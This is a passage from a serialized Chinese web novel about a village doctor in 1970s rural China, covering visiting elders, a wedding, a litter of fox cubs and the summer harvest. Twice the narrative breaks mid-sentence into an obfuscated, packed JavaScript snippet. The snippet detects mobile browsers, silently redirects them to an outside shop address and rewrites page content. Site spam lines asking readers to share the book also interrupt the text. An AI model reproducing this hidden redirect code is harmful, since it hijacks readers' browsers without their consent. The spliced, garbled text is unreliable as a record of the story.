每到一家,就把那家的混小子从屋里拎着耳朵揪出来,当着全村人的面,屁股上结结实实地就是一脚。 “老子让你们手欠!老子让你们欺负老实人!人家看个涝池碍着你们投胎了?!” 那些平日里护犊子的家长,此刻见了煞神般的李有柱,连个屁都不敢放。 在得知自家孩子干的好事后,一个个臊得满脸通红,抄起笤帚疙瘩或者鸡毛掸子,对着自家娃就是一顿男女混合双打,哭嚎声响彻了半个村子。 当晚,几家人就带着鼻青脸肿的孩子,提着鸡蛋和红糖,上门给林小强家赔礼道歉。 林小强看着儿子身上青一块紫一块的,心疼得像刀割一样。 送走了那些人,他蹲在林卫面前,声音沙哑:“卫子,要不……咱不干了?爹去跟队长说。” 林卫一边抽噎着,一边坚定地摇头,眼泪还挂在睫毛上,眼神却异常明亮。 “干!能挣工分……给娘看病!” 林小强的心像是被一只大手狠狠攥住,又酸又涨。 他深吸一口气,伸手抹掉儿子的眼泪。 “好!咱干!卫子你记住,再有下次,谁敢动你一根指头,你给老子打回去!往死里打!打坏了,爹给你担着!” 这事儿就算翻了篇。 转眼,到了周一。 一辆大卡车开进了村里,停在了大队部的晒谷场上。 车上跳下来两个人,一个是上次来收药材的牛水生,另一个正是张小月的弟弟,李喜龙。 牛水生麻利地清点了江沐这段时间炮制好的药材,指挥着人装车。 忙活完,他便带着李喜龙上了车,突突突地又开走了。 直到中午,卡车才回来,李喜龙一个人从车上跳了下来,脸上带着几分紧张,更多的却是抑制不住的兴奋。 江沐语气温和地问:“怎么样啊小李,事情都办妥了?” 李喜龙赶紧跑过去,声音洪亮:“姐夫,都办妥了!牛哥说让我三号去县药材公司报到,先跟着他学!” 江沐拍了拍他的肩膀,叮嘱了一句:“去了之后,嘴甜点,手脚勤快点,不懂的就开口问,没人会笑话你。” “姐夫,我懂!”李喜龙重重地点头,胸脯拍得邦邦响,“您放心,我保证不给您丢人!” 这一声姐夫叫得又响亮又自然,让周围的人都善意地笑了起来。 眼看队上的事都一件件落了停,可沈焱县长之前托付的那户人家,却迟迟没有动静。 李有柱一天比一天着急。 “江沐啊,这都快一个礼拜了,沈县长说的那户人咋还没个影儿?那钱……我拿着烫手啊!” 江沐心里也觉得奇怪,便安抚道:“李队长你别急,我去找周书记,借公社的电话问问。” 到了公社,江沐径直去了书记周志康的办公室。 周志康是个干练的中年人,见江沐来了,热情地让他坐,亲自给他倒了杯水。 江沐说明来意,周志康二话不说,就把那台黑色的手摇电话机推了过来。 电话很快接通了县里,江沐把情况一说,电话那头传来沈焱带着歉意的声音:“哎呀,江沐同志,实在不好意思!中间出了点小变动,我那老战友家里临时有点事,得推迟几天,安排到十号才能到了。” 挂了电话,江沐把情况跟周志康一说,周志康点点头,示意他别急着走,又给他续上热水,闲聊起来。 “江沐啊,有件事,提前跟你透个底。”周志康看着他,眼神里带着几分欣赏,“我可能要调走了,去县里。” 江沐微微一怔。 周志康笑了笑,继续往下讲:“接替我位子的,很可能是孙阳。说起来,他还得好好谢谢你。你那个滋补丹,可是帮了他大忙了,让他上面的老领导身体大好,这不,机会就来了。这小子,算是走了大运!” 话音刚落,办公室的门被推开,一个三十多岁的青年干部走了进来,正是孙阳。 他正好听到周志康最后那句话,脸上露出苦笑。 “周书记,您可别捧杀我了,这八字还没一撇呢。” 周志康哈哈大笑,指着孙阳对江沐调侃:“你看看,还没上任,官腔就打起来了!江沐可是你的大恩人,这顿饭,你跑不掉!” 孙阳脸上带着真诚的笑意,对江沐拱了拱手:“周书记说的是!江大夫,等这事儿要是真定了,必须的!国营饭店,我摆一桌,请您二位!咱们不醉不归!” 第162章 那是我父亲 和孙阳客套几句后,江沐便告辞离开。 走出公社大院,午后的阳光依旧灼人。 江沐下意识地眯了眯眼,远远就看见涝池边那个小小的身影。 林卫坐得笔直,固执地守着那片浑浊的水域。 江沐走过去,从口袋里摸出一颗水果糖,剥开蜡纸,递到他面前。 糖纸在阳光下泛着油亮的光。 林卫怔怔地看着,小小的喉结滚动了一下,却没有伸手去接。 “拿着,甜的。”江沐的声音很轻,他把糖塞进林卫的手心,那小小的手掌因为紧张而有些潮湿。 林卫攥紧了糖,抬起头,黑白分明的眼睛里倒映出江沐的身影,他抿了抿干裂的嘴唇,半晌,才从嗓子眼里挤出一个字。 “……谢。” 江沐揉了揉他的头,没再多言,转身朝卫生室走去。 有些善意,无需言语。 卫生室里,李有柱正来回踱步,嘴里的烟袋锅都快被他嘬出火星子了。 一见江沐进来,他立刻迎了上来。 “咋样?问到了没?沈县长咋说?” “人十号才到。”江沐给他那见了底的茶缸续上水,“路上有点事耽搁了。” “十号?”李有柱掰着指头算了算,今天六号,那就是还得等四天。 他长长地舒了一口气,那紧绷的神经总算松弛下来,一屁股坐回椅子上,感觉骨头都轻了几两。 “娘的,总算有个准信儿了!这钱揣在怀里,睡觉都不踏实!” 心里有了数,日子就过得快了。 转眼到了九号。 一辆军绿色的吉普车开进了村子,停在大队部。 沈焱从车上下来,在高志强和李有柱的陪同下,去了村东头那间收拾出来的老宅。 屋里屋外都打扫得干干净净,土炕重新盘过,铺上了崭新的芦苇席,桌椅板凳都是从各家凑来的最结实的。 沈焱里里外外看了一圈,脸上露出满意的神色。 “辛苦你们了,有柱同志,志强同志。布置得很周到,很用心。” 李有柱嘿嘿一笑,挠着后脑勺:“县长您交待的事,咱哪敢马虎!” 第二天一早,李有柱和高志强就守在了大队部的办公室里,眼巴巴地望着村口的路。 可左等右等,日头都偏西了,才听见马达声由远及近。 一辆蒙着帆布的卡车,在全村人好奇的目光中,缓缓停下。 车厢里先跳下来两个穿着便服的年轻人,一男一女,神情警惕。 接着,他们小心翼翼地搀扶下来四个老人。 这四个老人虽然穿着普通的粗布衣裳,但身上那股子气度,却怎么也掩盖不住。 他们面容清癯,眼神沉静,即使一路颠簸,腰杆也挺得笔直。 村里人远远地围着看,交头接耳地议论。 “这是啥大来头的人物啊?” “看着不像一般人,八成是城里来的大干部!” 李有柱板着脸,对谁的打探都闭口不谈,只用一句话堵了回去:“上面安排下来的,不该问的别问!” 这讳莫如深的态度,反倒让这几位老人的身份显得更加神秘莫测。 次日傍晚,江沐刚把炮制好的最后一批药材搬进屋里,累得直起腰捶了捶背,就见沈焱打着手电筒,步履匆匆地找了过来。 “江沐同志,忙着呢?” “沈县长。”江沐有些意外,“刚忙完。您这是?” 沈焱的语气温和:“不忙的话,跟我走一趟。我给你介绍几位老人家。以后他们身体上要是有个什么不舒服,还得请你多帮衬着点。” 江沐心里一动。 看来,这几位老人的身份果然不简单,值得沈县长亲自出面托付。 他没多问,拍了拍手上的药渣,锁好门,便跟着沈焱朝村东头走去。 夜色如墨,那间老宅里透出昏黄的灯光。 一进屋,一股淡淡的中药味混杂着烟草味扑面而来。 沈焱立刻换上一副晚辈的恭敬姿态,挨个打招呼。 “陈老,黄老,几位伯伯,住得还习惯吗?缺不缺什么东西?” 其中一个戴着老花镜,正在看报纸的老人抬起头,推了推眼镜,声音沙哑却中气十足。 “小焱啊,都挺好。你以后少往这儿跑,别到时候把你也给牵连进去了。” 沈焱的脸上闪过苦笑:“陈伯,您说哪里话。县里现在都是自己人,翻不了天。再说,我爸今天还特意打来电话,让我务必过来看看,确认你们都安顿好了。” 另一个正在抽旱烟的老人,磕了磕烟灰,眼神锐利。 “让你爸别操心,也别总往这儿打电话。我们几个老骨头,死不了。在这里,挺好。” 这番对话信息量极大,江沐垂着眼帘,心中已然掀起波澜。 牵连?这绝不是普通干部下放那么简单。 沈焱没再继续这个话题,他侧过身,将江沐引荐给几人。 “几位伯伯,这位就是我跟你们提过的江沐同志,咱们青莲公社的赤脚医生,医术非常高明。以后你们身体有任何不适,直接找他就行。” 屋里几道审视的目光齐刷刷地落在了江沐身上。 江沐不卑不亢,朝几位老人点了点头,算是打了招呼。 “江沐……”最先开口的那位陈老,缓缓地念了一遍他的名字,眼神里带着探究,“小同志,我问你个人,你认不认识市第一人民医院的副院长江东山?” 空气瞬间凝固。 江沐的心猛地一沉,他没想到,在这穷乡僻壤,竟然会有人以这种方式提起那个他极力想要割裂的名字。 他抬起眼,迎上对方的目光,声音平静无波。 “那是我父亲。” 话音落下,屋里的几个老人脸上都露出了然的神色,彼此交换了一个心照不宣的眼神。 那位陈老缓缓地点了点头,他深吸一口旱烟,吐出的烟雾模糊了他脸上的表情,也让他的声音听起来有些飘忽。 “原来是东山的儿子……这就说得通了。”他顿了顿,目光转向江沐,那眼神复杂难明,“苏红霞的父亲苏志,是我的老战友。” 江沐没再继续搭话,只是静静地站着,周身的气息瞬间冷了下来。 陈老也没再多言。 但那句话,就像一颗投入深潭的石子,在江沐的心湖里激起了千层巨浪。 老战友? 这三个字的分量,他再清楚不过。 很显然,这位陈老对苏家的情况了如指掌。 第163章 这下,咱们又能搂席了 沈焱看在眼里,心里暗道一声要糟,赶忙上前打圆场。 “陈伯,您看您,怎么一上来就说这个。把江沐同志都给吓着了。” 他一边说着,一边不动声色地将江沐往自己身后拉了拉,随即又指着几人介绍起来,“江沐,我给你正式介绍一下。这位是陈健康陈伯,旁边这位是向雪向阿姨。那边抽烟的是彭成彭伯,还有宋雅芝宋阿姨。” 他又指了指站在角落里,一直默不作声的两个年轻人。 “这是陈伯的孙子孙女,哥哥叫陈卫国,妹妹叫陈小华。以后大家就是邻居了,要相互照应。” 江沐听到了这几个名字,心中波澜更甚。 这些名字,每一个都曾是响当当的人物。 他们怎么会出现在这里? 他没有表露分毫,只是对着几人微不可查地点了点头,算是应下了沈焱的介绍。 “行了小焱,别在这儿杵着碍眼了。”彭成磕了磕手里的烟斗,嗓音里带着不耐烦的驱赶意味,“你代表你父亲来看过了,心意我们领了。赶紧回你的县里去,少跟我们这些老骨头掺和,免得惹一身骚。” 陈健康也摆了摆手,神情倒是缓和了些,但话里的意思却一般无二:“彭老哥说得对,你赶紧走。我们几个在这儿挺好,日出而作,日落而息,清净。比在京城里看那些人的嘴脸舒坦多了。” “可是,几位伯伯……” “没什么可是的!”陈健康打断他,“让你爸也别瞎忙活了。斗了半辈子,累了,也乏了。现在这种生活,正是我们想要的。” 这番话说的豁达,却也透着一股子苍凉。 沈焱眼圈微微泛红,他从内侧的口袋里掏出一个厚实的信封,塞到陈健康手里,声音压得极低:“陈伯,这您必须收下。您和彭伯他们可以不在乎,但卫国和小华正是长身体的时候,不能跟着受苦。” 陈健康的嘴唇翕动了几下,浑浊的眼睛看了一眼身旁默然垂首的孙子孙女,终究是没有再推拒。 他把信封揣进怀里,重重地拍了拍沈焱的肩膀。 “行,你这份心意,我老头子领了。我不跟你客气。” “这就对了。”沈焱松了口气,又转向陈卫国和陈小华,“照顾好爷爷奶奶。” 两个年轻人齐齐点头,目光坚定。 沈焱不敢再多留,又简单交代了几句,便带着江沐退了出来。 走在回江沐家的土路上,夜风吹散了屋里的沉闷。 沈焱的脚步沉重,他侧头看了一眼身旁沉默的江沐,又看了一眼跟在后面的李有柱和高志强。 “有柱同志,志强同志。” “欸,县长您吩咐!”两人立刻应声。 “以后陈老他们几位,就拜托你们多费心了。他们想做什么就让他们做什么,愿意下地干活,你们也别拦着。总之一句话,随他们自在就行。” “您放心!”李有柱胸脯拍得邦邦响,“保证安排得妥妥当当!” 屋里的风波暂且平息,村里的日子不紧不慢地滚着向前。 转眼到了五月底,天气彻底热了起来。 江沐炮制的药材已经全部处理完毕,他开始支起大锅,熬制准备卖给杨小军药丸。 卫生室的院子里,一口大铁锅冒着热气,浓郁的药香飘出老远。 张小月和李喜凤两个女人,正坐在小马扎上,帮着江沐把冷却的药泥搓成一个个大小均匀的药丸。 “哎,小月姐,你听说了没?”李喜凤手上的动作没停,嘴里却闲不住了,她压低了声音,神神秘秘地凑到张小月耳边,“咱们知青点的赵怀喜,要跟村里的孙二妹结婚了!” 张小月一愣:“真的假的?赵怀喜可是文化人,孙二妹她……” “千真万确!还是当上门女婿!”李喜凤的眼睛里闪着八卦的光,“我听我娘说,昨天晚上他俩就去找我爹开证明了,说是大后天就办事!” 她撇了撇嘴,语气里带着几分不屑:“村里好些人都在背后嚼舌根呢,说孙二妹长得黑黢黢的,大字不识一个,哪配得上人家城里来的文化人。” 张小月眉头一皱,轻轻碰了她一下:“喜凤,可不敢瞎说。配不配得上是人家自己的事,这话要是传到当事人耳朵里,多伤人。” “哎呀,我这不也就跟你说说嘛!”李喜凤娇嗔一句。 就在这时,一个清冷的声音毫无预兆地在她们身后响起。 “你们俩嘀嘀咕咕的,说什么悄悄话呢?” “啊!” 李喜凤吓了一跳,手里的药泥都差点掉地上。 她一回头,就看见江沐端着一盆刚冷却的药泥,正似笑非笑地看着她们。 她拍着胸口,嗔怪道:“姐夫,你走路怎么没声啊,吓死我了!” 江沐把盆子放下,挑了挑眉:“心里没鬼,怕什么。说吧,什么事这么热闹?” 李喜凤本就藏不住话,当即就把赵怀喜和孙二妹要结婚的事,添油加醋地又说了一遍。 谁知江沐听完,脸上却没有丝毫意外或是鄙夷的神色,反而眼睛一亮。 “那敢情好啊!” 他这话一出,两个女人都愣住了。 只听江沐慢悠悠地补了一句:“这下,咱们又能搂席了。” 李喜凤一下就乐了,用力点着头,“对对对!我也最喜欢搂席了!又有肉吃了!” 张小月看着她那副没心没肺的馋猫样,无奈又宠溺地伸出手,搂住李喜凤的头,在她额上轻轻点了一下。 自从李喜凤从那个火坑里被救回来,家里人疼,村里人护,江沐也时常关照,她可以说是集万千宠爱于一身,整个人的性子都比从前开朗活泼了许多。 一下午的功夫,上千颗乌黑油亮、散发着浓郁药香的药丸,便整整齐齐地码放在几个用油纸细细包裹好的木盒里。 第二天一早,天刚蒙蒙亮,牛水生和李喜龙就赶着牛车过来了。 车轮碾过带着晨露的土路,发出声响,在这寂静的清晨里格外清晰。 “姐夫,药都弄好了?”李喜龙跳下牛车,一边揉着惺忪的睡眼,一边往院里探头。 江沐正将最后一个药材袋子用麻绳捆好,闻言头也不抬地应了一声:“嗯。这次的药材多,路上仔细点,别给颠坏了。” 他将几个大袋子小心翼翼地搬上车,又从屋里拿出一个小一些的精致木盒,递给了牛水生。 “水生哥,这个你单独放好。到了县里,要是碰上杨小军,就跟他说一声,他要的滋补丹做好了,让他得空过来取。” 第164章 借你们这风水宝地歇歇脚 牛水生接过盒子入手便是一沉他郑重地点点头:“放心话肯定带到!” 卡车悠悠地走了村子里的炊烟也渐渐升起。 果不其然当天晚上杨小军就摸黑找了过来。他一进院子连口气都来不及喘匀眼神盯住了江沐。 “江沐兄弟!滋补丹……真的做好了?”他的声音里透着一股压抑不住的激动。 江沐从容地将那个木盒推到他面前淡淡一笑:“打开看看。” 杨小军颤抖着手打开盒盖一股更为精纯、更为霸道的药香瞬间冲入鼻腔。 盒子里一颗颗龙眼大小的药丸色泽深沉隐隐有光华流转。 就是这个! 仅仅是闻着这股味道就感觉浑身的疲惫都消减了几分! “钱我带来了!”杨小军像是怕江沐反悔似的急忙从怀里掏出一个用手帕裹得严严实实的小包一层层打开里面是叠得整整齐齐的钞票和几张工业券“你点点!” 江沐扫了一眼并未去数只是将盒子往他那边又推了推:“钱货两讫。” 杨小军将盒子抱在怀里对着江沐深深扬了扬手:“以后但凡有能用得上我的地方你尽管开口!” 送走杨小军江沐看着手里的钱心中并无太多波澜。 声望值才是他的根本这些不过是锦上添花。 次日他将剩下的一些滋补丹分装成三份分别送到了周志康、李院长以及那位孙阳手里。 三人收到这份礼物脸上的惊喜是实打实的江沐的脑海里系统的提示音也悦耳地响了几下。 隔天便是赵怀喜和孙二妹大喜的日子。 半个村子都沸腾了。 江沐和张小月到的时候孙联社家院子里已经挤满了来帮忙的乡亲。 男人在院里支桌子、搬板凳女人们则围在临时搭起的土灶台边洗菜切肉笑语喧哗热火朝天。 孙联社也就是孙二妹的爹此刻正被一群老哥们围在中间打趣一张饱经风霜的老脸满是笑意眼角的褶子里都藏着得意。 “老孙你这辈子值了!”一个汉子用力拍着孙联社的肩膀嗓门洪亮“一个儿子没有可俩女婿一个比一个孝顺能干!” “就是!”旁边的人立马接茬“现在怀喜这文化人也上门了这跟白捡个亲儿子有啥区别?以后你老两口就擎等着享福吧!” 孙联社咧着嘴嘿嘿直乐摆着手谦虚可那股子自豪劲儿怎么也掩不住。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 就在这时,人群外传来一声吆喝:“都让让,让让!杀猪的家伙事儿来了! 众人回头,只见周翔,扛着一条长板凳,手里拎着明晃晃的屠刀和接血的木盆,龙行虎步地走了进来。 院子角落里,一头被捆得结结实实的肥猪,似乎预感到了自己的命运,正发出凄厉的嚎叫。 几个年轻力壮的小伙子一拥而上,七手八脚地将猪抬上板凳按住。 周翔吐了口唾沫在掌心,搓了搓,握紧了屠刀。手起刀落,干净利落。 滚烫的热水浇下,猪毛被刮得干干净净,一头三百来斤的大肥猪,很快就被分解成一块块鲜红的猪肉。 当天中午,所有来帮忙的人都在孙家吃了一顿便饭,大锅炖的猪下水,配上新出锅的玉米面馍馍,香得人直流口水。 真正的正席,在明天中午。 第二天一早,江沐和张小月再次来到孙家。 因为是上门女婿,仪式从简,没有城里那么多的繁文缛节。 孙联社这边派了几个后生,用板车去知青点,把赵怀喜那点家当全给拉了过来。 赵怀喜今天穿了一身崭新的蓝布衣裳,头发梳得油光水滑,满面红光,整个人都透着一股抑制不住的喜气。 他见人就笑,热情地递烟、打招呼,那份发自内心的快乐,感染了在场的每一个人。 席面很丰盛,猪肉炖粉条、红烧肉、炸丸子、大肘子……在七十年代的农村,这绝对是顶破天的席面了。 可江沐吃在嘴里,却忍不住在心里微微一叹。 味道确实不错,充满了这个时代特有的淳朴和豪放。但比起后世那些精雕细琢的菜肴,终究是差了些火候。 酒足饭饱,江沐、张小月和李喜凤三人结伴回家。 刚走到自家院门口,就见虎虎和生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778501|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威两只大狗焦躁不安地在门口打转。 一看到他们回来,两只狗立刻跟看到了救星似的,呜呜叫着冲了上来,咬着江沐的裤腿就往狗窝的方向拖。 “怎么了这是? “不对劲。江沐眉头微蹙,任由它们将自己引到院子角落的狗窝前。 狗窝里铺着厚厚的干草,此刻,一个雪白的影子蜷缩在最里面。 江沐定睛一看,瞳孔骤然一缩。 那不是妲己是谁? 而在它的身下,一堆毛茸茸、粉嫩嫩的小东西正挤在一起,发出微弱的唧唧声。 竟是一窝刚出生的小狐狸! “天哪 听说看这本书的人都是很幸运的,分享后你的运气会更棒 !”张小月也看清了里面的景象,捂着嘴发出一声惊呼,“妲己……妲己生了!” 她又惊又喜,蹲下身想看得更仔细些,又怕惊扰了它们。 短暂的震惊过后,她猛地站起身,拉住李喜凤的手,语气急切:“喜凤,快!咱们快去给妲己弄点好吃的,煮个鸡蛋,冲碗红糖水,它刚生完,肯定虚弱得很!” 两个姑娘风风火火地跑向了厨房。 院子里,只剩下江沐和两条急得团团转的大狗。 虎虎和生威见江沐只是看着,丝毫没有要把那一窝外来者赶走的意思,急得呜呜直叫,尾巴都快摇断了,不停地用脑袋去拱江沐的腿。 主人!快看啊!我们的家被占了! 被一只狐狸和它的一窝崽子给占了!” 江沐看懂了它们的控诉,不由得失笑。 他蹲下身,一手一个,揉了揉两只大狗的脑袋,语气里带着调侃。 “瞧你们那点出息。人家是产妇,借你们这风水宝地歇歇脚,怎么了?” 他点了点虎虎的鼻子,又拍了拍生威的脑门。 “大气点!别这么小气,知道吗?” 虎虎和生威对视一眼,从对方的眼睛里看到了巨大的委屈。 下一秒,两只威风凛凛的大狗,竟齐刷刷地往地上一躺,四脚朝天,舌头一歪,不动了。 装死狗。 第165章 发工资,是天经地义的 江沐看着那两只在地上耍赖的活宝,无奈地摇了摇头。 这拙劣的演技,简直没眼看。 他索性不再理会,转身回屋。 下午五点多,院门外就传来了此起彼伏的呼喊声。 来卖药材的乡亲已经将小小的院子挤得满满当当。 张小月和不知何时赶来的李喜凤正手忙脚乱地维持着秩序。 直到天色彻底黑透,最后一位乡亲揣着钱离开,院子里才终于恢复了宁静。 张小月累得直接坐倒在小马扎上,捶着后腰,看着桌上那堆药材,脸上却带着满足的笑意。 她忽然抬起头,目光落在同样疲惫不堪的李喜凤身上,眼神里多了几分郑重。 “江沐,她轻声开口,语气却异常坚定,“喜凤天天跟着咱们从早忙到晚,比生产队的壮劳力还辛苦。我想……咱们得给她开份工资。 李喜凤一听,手里的抹布掉在地上,立刻摇头:“姐,你说啥哩!我不要钱!我……我就是来帮忙的! 张小月没理她,只是定定地看着江沐。 江沐沉吟片刻,点了点头:“小月说得对,这样吧,以后每个月给你开十块钱工资,你看行不行? 十块钱! “不行!绝对不行!她急得脸都红了,连连摆手,“姐,姐夫,我哪能再要你们的钱?你们要是这样,我……我明天就不来了! 见她这副倔强的模样,张小月叹了口气,拉着她的手:“走,这事你说了不算,咱们找你娘去! 三人找到李家时,张兰正在灯下纳鞋底。 听完张小月的来意,她的反应比女儿还激烈,直接从炕上站了起来。 “不行!小月,你这是打我们家的脸! “姑姑,您误会了!张小月耐着性子解释,“现在卫生室越来越忙,以后称药,收钱,全都要人手。喜凤不是来帮忙,她是正经来上班的。发工资,是天经地义的! “对,姑,江沐也温言补充,“以后这卫生室就是个正经单位,喜凤就是里面的员工。哪有员工干活不拿钱的道理? 夫妻俩好说歹说,把大道理小道理掰开了揉碎了讲了半个多钟头。 张兰和李喜凤母女俩被说得晕头转向,最终,张兰才一脸肉疼又带着几分骄傲地松了口:“那……那就听小江的。 这事就算定了下来。 时光飞逝,转眼就到了麦浪滚滚的夏收时节。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 这天傍晚李有柱揣着旱烟袋急匆匆地找上了门。 “江沐啊!明儿个一早队里组织人手上山围剿野猪你还跟上次一样负责后勤和急救?”他一屁股坐下开门见山。 江沐正在院里给几味草药分类闻言摇了摇头:“姑夫这次我就不去了。小月肚子大了我得在家守着她。” 李有柱一愣随即恍然大悟一拍大腿:“瞧我这记性!对对对小月的身子最要紧!那……那这事……” 他忽然面露难色搓着手有些欲言又止。 “姑夫有话直说。”江沐看出了他的为难。 李有柱这才压低了声音:“就是沈焱同志安排过来的那几位老同志你看……夏收这么大的活让他们闲着吧不合适。让他们下地吧又怕累坏了人家金贵的身体。这……这可咋安排?” 江沐心中了然。 这确实是个烫手山芋。 他放下手里的草药站起身:“这事你别愁我去问问他们的意思。” 江沐踱步来到村西头那几间瓦房前。 经过这段时间的相处他和几位老人都已经很熟悉了。 见他过来正在院里下棋的陈健康笑着招了招手。 “小江大夫什么风把你给吹来了?” “陈老”江沐走过去也不绕弯子“过两天就夏收了柱子叔拿不准主意让我来问问您几位到时候……是想歇着还是跟着队里一起下地?” 陈健康闻言手里的棋子落在棋盘上他那张清癯的脸上浮现出不悦。 “胡闹!我们是来接受贫下中农再教育的不是来当大爷的!”他声音不大却掷地有声“回去告诉李队长我们几个老骨头别的本事没有割麦子还是使得上劲的!不需要搞任何特殊对待队里怎么安排我们就怎么干!” “好嘞。”江沐要的就是这句话。 他将原话带给李有柱李有柱心里的石头彻底落了地用力一拍桌子:“明白了!有陈老这话我就知道该咋办了!” 第二天拂晓天还未亮村里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778502|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就响起了集合的哨声。 一支由二十多个青壮年组成的打猎队伍扛着**、猎叉浩浩荡荡地向后山进发。 虎虎和生威两条大狗兴奋得不行摆脱了那窝狐狸崽子的骚扰撒开四蹄跑在队伍最前头威风凛凛。 江沐则早早地打开了卫生室的门。 夏收时节 临近中 你的朋友正在书荒,快去帮帮他吧 午,卫生室的门帘被猛地掀开。 李有柱冲了进来,脸上血色尽失,嘴唇哆嗦着,背上还背着一个浑身是泥的男人。 “江沐!快!快救救振国!”他的声音嘶哑,带着哭腔。 江沐心中一凛,快步迎上去。 李有柱背上的,正是他儿子李振国! 此刻,李振国双眼紧闭,脸色惨白,已然陷入了昏迷。 “别慌!放下来,让我看看!”江沐沉声喝道,他的冷静瞬间让六神无主的李有柱找到了主心骨。 将李振国平放在病床上,江沐迅速开始检查。 身上有多处擦伤,但四肢活动自如,骨头应该没问题。 他的目光最终落在了李振国的额头上,那里有一道触目惊心的伤口,皮肉翻卷,甚至能看到森森的白骨,鲜血正汩汩地往外冒。 “问题不大。”江沐语气平稳,仿佛只是在陈述一件微不足道的小事,“皮外伤,脑子没伤到。缝几针,上点药就好了。” 他拿出针线和烈酒消毒,动作干净利落,一共八针。 “好了。一个礼拜不能碰水,有什么头晕恶心的症状,随时来找我。”他一边收拾东西,一边看向跟进来的猎户周翔,“怎么搞的?” 周翔脸上满是后怕:“今天运气好,碰上两头大野猪!都给撂倒了!下山的时候,振国这小子光顾着高兴,脚下没注意,被树根绊了一下,从山坡上滚下去了!” 话音刚落,床上的李振国悠悠转醒,他眼神还有些迷茫,开口的第一句话却是:“翔……翔子叔,那两头猪……弄回来了没?” “弄回来了!一头都没跑!”。 就在这时,一声凄厉的哭喊从门外传来。 “我的儿啊——!” 张兰听到消息,疯了一样地冲了进来。 第166章 缘分这东西,说不准哪天就到了 张兰扑到炕边,一把抓住儿子的手,眼泪直往下掉。 “我的儿啊!你这是咋了?你可别吓娘啊!”她上下摸索着李振国,看到他额头上那圈厚厚的纱布,更是哭得撕心裂肺。 “姑,别慌。”江沐低声安抚道,“振国哥没事,就是皮外伤,养几天就好了。” 李有柱此刻也缓过神来,一把拉住自家婆娘,粗声大气地呵斥:“哭啥哭!江沐在这儿,你还不放心?振国命硬着呢!” 张兰的哭声一滞,这才抬起泪眼婆娑的脸,看向沉稳如山的江沐,又看了看虽然脸色苍白但眼神清亮的儿子,那股子天塌下来的惊慌才慢慢散去。 江沐:“姑姑,使不得!我是大夫,救死扶伤是本分。快带振国哥回去歇着吧,记得伤口别碰水。” 李有柱也是红着眼圈,重重地拍了拍江沐的肩膀,千言万语都汇成了两个字:“谢了!” 一场风波总算平息,张兰小心翼翼地搀着儿子,一步三回头地走了。 第二天一大早,整个二大队就被鸡鸣和集合的哨声彻底唤醒。 夏收,如同一场没有硝烟的战争,每个人都是战士。 李有柱站在大队部的院子里,拿着个铁皮喇叭,声音洪亮地安排着任务:“……陈健康你们几位老同志,就跟着村里的婶子大娘们去麦场,负责翻晒!陈卫国、陈小华,你们俩跟着知青点的大部队,下地割麦!江沐还是老任务,跟杨树林一起,负责用牛车往回运麦子!” “好嘞!”人群轰然应诺,随即散开,各奔东西。 江沐抄起挂在墙上的草帽,径直走向村东头的牛棚。 还没走近,一股混合着草料和牲口粪便的独特气味便扑面而来。 牛棚旁边的猪圈里,杨树林正吭哧吭哧地用木勺搅着猪食,几头膘肥体壮的大黑猪围着食槽,发出哼哼唧唧的欢快叫声。 “杨大叔,够早的啊。”江沐笑着打了个招呼。 杨树林抬起那张被岁月刻满沟壑的脸,露出憨厚的笑容:“江大夫来了!这几张嘴等着呢,可不敢让它们饿着。” 江沐的目光在三头油光水滑的黑猪身上扫过,心里估摸着分量,不由得有些佩服:“叔,你家这三头猪养得可真肥实。加上队里的活,你一个人忙得过来吗?” “嘿,家里人多,你婶子,还有娃们,都能搭把手。”杨树林擦了把汗,提起旁边的水桶,眼神里满是感激,“江大夫,之前俺家那小子的病,多亏了你。等这猪出栏,俺说啥也得杀一头,给你送块最好的五花 听说看这本书的人都是很幸运的,分享后你的运气会更棒 肉过去!你可不兴推辞!” 江沐心中一暖。 这就是乡亲们的淳朴你对他一分好他恨不得还你十分。 他摆了摆手脸上挂着温和的笑意:“杨大叔你的心意我领了。但猪肉就别送了那都是你们一家老小的嚼用。真想谢我等秋后挖了红薯给我送一篮子甜的就行小月就好那一口。” 杨树林愣了愣随即重重地点头眼眶有些发热:“成!就这么定了!” 两人不再多言合力将沉重的牛套扛上老黄牛的背麻利地套好了车。 江沐一跃而上坐在了车辕的驾驶位上熟练地抖了抖缰绳。 “驾!” 牛车缓缓地向着金色的麦田驶去。 车轮滚滚江沐和杨树林有一搭没一搭地闲聊着。 “杨大叔我记得你家大闺女小巧今年有十九了吧?这么好的姑娘该看婆家了。” 提起女儿杨树林原本舒展的眉头又拧了起来长长地叹了口气:“唉别提了。前阵子是有个媒人上门说的还是镇上供销社的正式工多好的条件!可那丫头死活不乐意。” 他的声音里透着一股深深的无奈“她说家里弟妹还小我跟你婶子身体又不好她要是嫁远了这个家就没人撑着了……这丫头就是太懂事懂事得让人心疼。我……是我这个当爹的没本事拖累了她。” 江沐沉默片刻能感受到这位父亲内心深处的自责。 “那……找个近点的呢?就咱们公社或者邻村的也能时常照应家里。” 